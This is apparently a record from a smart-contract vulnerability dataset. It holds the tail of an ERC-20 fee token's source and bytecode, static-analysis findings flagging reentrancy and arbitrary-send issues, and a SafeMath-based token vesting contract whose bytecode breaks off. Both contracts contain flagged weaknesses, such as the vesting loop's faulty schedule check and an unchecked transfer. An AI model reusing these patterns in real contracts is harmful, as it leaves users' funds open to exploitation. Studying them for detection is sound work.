TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external { require(_msgSender() == _Owner); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setRouterPercent(uint256 maxRouterPercent) external { require(_msgSender() == _Owner); require(maxRouterPercent > 0, "Amount must be greater than 0"); _routermax = _tTotal.mul(maxRouterPercent).div(10**4); } function _setTeamFee(uint256 teamFee) external { require(_msgSender() == _Owner); require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } }
0x60806040526004361061014f5760003560e01c806395d89b41116100b6578063cba0e9961161006f578063cba0e996146103b8578063d00efb2f146103f1578063d543dbeb14610407578063dd62ed3e14610427578063e01af92c1461046d578063e47d60601461048d57600080fd5b806395d89b4114610302578063a9059cbb1461032e578063b515566a1461034e578063c0e6b46e1461036e578063c3c8cd801461038e578063c9567bf9146103a357600080fd5b8063313ce56711610108578063313ce567146102545780635932ead1146102705780636fc3eaec1461029057806370a08231146102a5578063715018a6146102c55780638da5cb5b146102da57600080fd5b806306fdde031461015b578063095ea7b31461019c57806318160ddd146101cc57806323b872dd146101f2578063273123b714610212578063286671621461023457600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600681526559616b757a6160d01b60208201525b6040516101939190611d03565b60405180910390f35b3480156101a857600080fd5b506101bc6101b7366004611b94565b6104c6565b6040519015158152602001610193565b3480156101d857600080fd5b50683635c9adc5dea000005b604051908152602001610193565b3480156101fe57600080fd5b506101bc61020d366004611b54565b6104dd565b34801561021e57600080fd5b5061023261022d366004611ae4565b610546565b005b34801561024057600080fd5b5061023261024f366004611cbe565b610587565b34801561026057600080fd5b5060405160098152602001610193565b34801561027c57600080fd5b5061023261028b366004611c86565b61060f565b34801561029c57600080fd5b50610232610657565b3480156102b157600080fd5b506101e46102c0366004611ae4565b610684565b3480156102d157600080fd5b506102326106a6565b3480156102e657600080fd5b506000546040516001600160a01b039091168152602001610193565b34801561030e57600080fd5b506040805180820190915260038152622ca5ad60e91b6020820152610186565b34801561033a57600080fd5b506101bc610349366004611b94565b61071a565b34801561035a57600080fd5b50610232610369366004611bbf565b610727565b34801561037a57600080fd5b50610232610389366004611cbe565b6107c1565b34801561039a57600080fd5b50610232610856565b3480156103af57600080fd5b5061023261088c565b3480156103c457600080fd5b506101bc6103d3366004611ae4565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103fd57600080fd5b506101e460155481565b34801561041357600080fd5b50610232610422366004611cbe565b610c53565b34801561043357600080fd5b506101e4610442366004611b1c565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047957600080fd5b50610232610488366004611c86565b610d16565b34801561049957600080fd5b506101bc6104a8366004611ae4565b6001600160a01b03166000908152600c602052604090205460ff1690565b60006104d3338484610d54565b5060015b92915050565b60006104ea848484610e78565b61053c843361053785604051806060016040528060288152602001611ed4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112ef565b610d54565b5060019392505050565b600f546001600160a01b0316336001600160a01b03161461056657600080fd5b6001600160a01b03166000908152600c60205260409020805460ff19169055565b600f546001600160a01b0316336001600160a01b0316146105a757600080fd5b600181101580156105b9575060198111155b61060a5760405162461bcd60e51b815260206004820152601b60248201527f7465616d4665652073686f756c6420626520696e2031202d203235000000000060448201526064015b60405180910390fd5b600955565b6000546001600160a01b031633146106395760405162461bcd60e51b815260040161060190611d56565b60138054911515600160b81b0260ff60b81b19909216919091179055565b600f546001600160a01b0316336001600160a01b03161461067757600080fd5b4761068181611329565b50565b6001600160a01b0381166000908152600260205260408120546104d790611406565b6000546001600160a01b031633146106d05760405162461bcd60e51b815260040161060190611d56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104d3338484610e78565b600f546001600160a01b0316336001600160a01b03161461074757600080fd5b60005b81518110156107bd576001600c600084848151811061077957634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107b581611e69565b91505061074a565b5050565b600f546001600160a01b0316336001600160a01b0316146107e157600080fd5b600081116108315760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610601565b61085061271061084a683635c9adc5dea000008461148a565b90611509565b600b5550565b600f546001600160a01b0316336001600160a01b03161461087657600080fd5b600061088130610684565b90506106818161154b565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161060190611d56565b601354600160a01b900460ff16156109105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610601565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561094d3082683635c9adc5dea00000610d54565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561098657600080fd5b505afa15801561099a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109be9190611b00565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0657600080fd5b505afa158015610a1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3e9190611b00565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610a8657600080fd5b505af1158015610a9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abe9190611b00565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610aee81610684565b600080610b036000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b6657600080fd5b505af1158015610b7a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b9f9190611cd6565b50506013805468015af1d78b58c400006014554360155563ffff00ff60a01b1981166201000160a01b1790915560125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c1b57600080fd5b505af1158015610c2f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107bd9190611ca2565b600f546001600160a01b0316336001600160a01b031614610c7357600080fd5b60008111610cc35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610601565b610cdb606461084a683635c9adc5dea000008461148a565b60148190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b600f546001600160a01b0316336001600160a01b031614610d3657600080fd5b60138054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610db65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610601565b6001600160a01b038216610e175760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610601565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610edc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610601565b6001600160a01b038216610f3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610601565b60008111610fa05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610601565b6000546001600160a01b03848116911614801590610fcc57506000546001600160a01b03838116911614155b1561129257601354600160b81b900460ff16156110b3576001600160a01b038316301480159061100557506001600160a01b0382163014155b801561101f57506012546001600160a01b03848116911614155b801561103957506012546001600160a01b03838116911614155b156110b3576012546001600160a01b0316336001600160a01b0316148061107357506013546001600160a01b0316336001600160a01b0316145b6110b35760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610601565b6001600160a01b03831630146110d2576014548111156110d257600080fd5b6001600160a01b0383166000908152600c602052604090205460ff1615801561111457506001600160a01b0382166000908152600c602052604090205460ff16155b80156111305750336000908152600c602052604090205460ff16155b61113957600080fd5b6013546001600160a01b03848116911614801561116457506012546001600160a01b03838116911614155b801561118957506001600160a01b03821660009081526005602052604090205460ff16155b801561119e5750601354600160b81b900460ff165b156111ec576001600160a01b0382166000908152600d602052604090205442116111c757600080fd5b6111d242600f611dfb565b6001600160a01b0383166000908152600d60205260409020555b60006111f730610684565b9050600b5481106112075750600b545b600a546013549082101590600160a81b900460ff161580156112325750601354600160b01b900460ff165b801561123b5750805b801561125557506013546001600160a01b03868116911614155b801561126f57506012546001600160a01b03868116911614155b1561128f5761127d8261154b565b47801561128d5761128d47611329565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806112d457506001600160a01b03831660009081526005602052604090205460ff165b156112dd575060005b6112e9848484846116f0565b50505050565b600081848411156113135760405162461bcd60e51b81526004016106019190611d03565b5060006113208486611e52565b95945050505050565b600e546001600160a01b03166108fc61134e600761134885600f611509565b9061148a565b6040518115909202916000818181858888f19350505050158015611376573d6000803e3d6000fd5b506010546001600160a01b03166108fc611396600761134885600f611509565b6040518115909202916000818181858888f193505050501580156113be573d6000803e3d6000fd5b506011546001600160a01b03166108fc6113de600161134885600f611509565b6040518115909202916000818181858888f193505050501580156107bd573d6000803e3d6000fd5b600060065482111561146d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610601565b600061147761171c565b90506114838382611509565b9392505050565b600082611499575060006104d7565b60006114a58385611e33565b9050826114b28583611e13565b146114835760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610601565b600061148383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173f565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115a157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611b00565b8160018151811061164e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546116749130911684610d54565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116ad908590600090869030904290600401611d8b565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b806116fd576116fd61176d565b611708848484611790565b806112e9576112e96002600855600f600955565b6000806000611729611887565b90925090506117388282611509565b9250505090565b600081836117605760405162461bcd60e51b81526004016106019190611d03565b5060006113208486611e13565b60085415801561177d5750600954155b1561178457565b60006008819055600955565b6000806000806000806117a2876118c9565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117d49087611926565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546118039086611968565b6001600160a01b038916600090815260026020526040902055611825816119c7565b61182f8483611a11565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161187491815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006118a38282611509565b8210156118c057505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006118e68a600854600954611a35565b92509250925060006118f661171c565b905060008060006119098e878787611a84565b919e509c509a509598509396509194505050505091939550919395565b600061148383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112ef565b6000806119758385611dfb565b9050838110156114835760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610601565b60006119d161171c565b905060006119df838361148a565b306000908152600260205260409020549091506119fc9082611968565b30600090815260026020526040902055505050565b600654611a1e9083611926565b600655600754611a2e9082611968565b6007555050565b6000808080611a49606461084a898961148a565b90506000611a5c606461084a8a8961148a565b90506000611a7482611a6e8b86611926565b90611926565b9992985090965090945050505050565b6000808080611a93888661148a565b90506000611aa1888761148a565b90506000611aaf888861148a565b90506000611ac182611a6e8686611926565b939b939a50919850919650505050505050565b8035611adf81611eb0565b919050565b600060208284031215611af5578081fd5b813561148381611eb0565b600060208284031215611b11578081fd5b815161148381611eb0565b60008060408385031215611b2e578081fd5b8235611b3981611eb0565b91506020830135611b4981611eb0565b809150509250929050565b600080600060608486031215611b68578081fd5b8335611b7381611eb0565b92506020840135611b8381611eb0565b929592945050506040919091013590565b60008060408385031215611ba6578182fd5b8235611bb181611eb0565b946020939093013593505050565b60006020808385031215611bd1578182fd5b823567ffffffffffffffff80821115611be8578384fd5b818501915085601f830112611bfb578384fd5b813581811115611c0d57611c0d611e9a565b8060051b604051601f19603f83011681018181108582111715611c3257611c32611e9a565b604052828152858101935084860182860187018a1015611c50578788fd5b8795505b83861015611c7957611c6581611ad4565b855260019590950194938601938601611c54565b5098975050505050505050565b600060208284031215611c97578081fd5b813561148381611ec5565b600060208284031215611cb3578081fd5b815161148381611ec5565b600060208284031215611ccf578081fd5b5035919050565b600080600060608486031215611cea578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611d2f57858101830151858201604001528201611d13565b81811115611d405783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dda5784516001600160a01b031683529383019391830191600101611db5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e0e57611e0e611e84565b500190565b600082611e2e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e4d57611e4d611e84565b500290565b600082821015611e6457611e64611e84565b500390565b6000600019821415611e7d57611e7d611e84565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461068157600080fd5b801515811461068157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a69220c35a083ec5dcfe7db778b16c7544d6bfc62113a43cd6f2c547ef4ec3d364736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,263
0x182C920ab276B2A4E8D78173F2E25F46a038719e
// SPDX-License-Identifier: MIT pragma solidity ^0.6.0; // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // contract VestingContract is Ownable { using SafeMath for uint256; // CNTR Token Contract IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B); uint256[] vestingSchedule; address public receivingAddress; uint256 public vestingStartTime; uint256 constant public releaseInterval = 30 days; uint256 public totalTokens; uint256 public totalDistributed; uint256 index = 0; constructor(address _address) public { receivingAddress = _address; } function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner { require(vestingStartTime == 0); vestingSchedule = _vestingSchedule; for(uint256 i = 0; i < vestingSchedule.length; i++) { totalTokens = totalTokens.add(vestingSchedule[i]); } } function updateReceivingAddress(address _address) public onlyOwner { receivingAddress = _address; } function releaseToken() public { require(vestingSchedule.length > 0); require(msg.sender == owner() || msg.sender == receivingAddress); if (vestingStartTime == 0) { require(msg.sender == owner()); vestingStartTime = block.timestamp; } for (uint256 i = index; i < vestingSchedule.length; i++) { if (block.timestamp >= vestingStartTime + (index * releaseInterval)) { tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether)); totalDistributed = totalDistributed.add(vestingSchedule[i]); index = index.add(1); } else { break; } } } function getVestingSchedule() public view returns (uint256[] memory) { return vestingSchedule; } }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008082840190508381101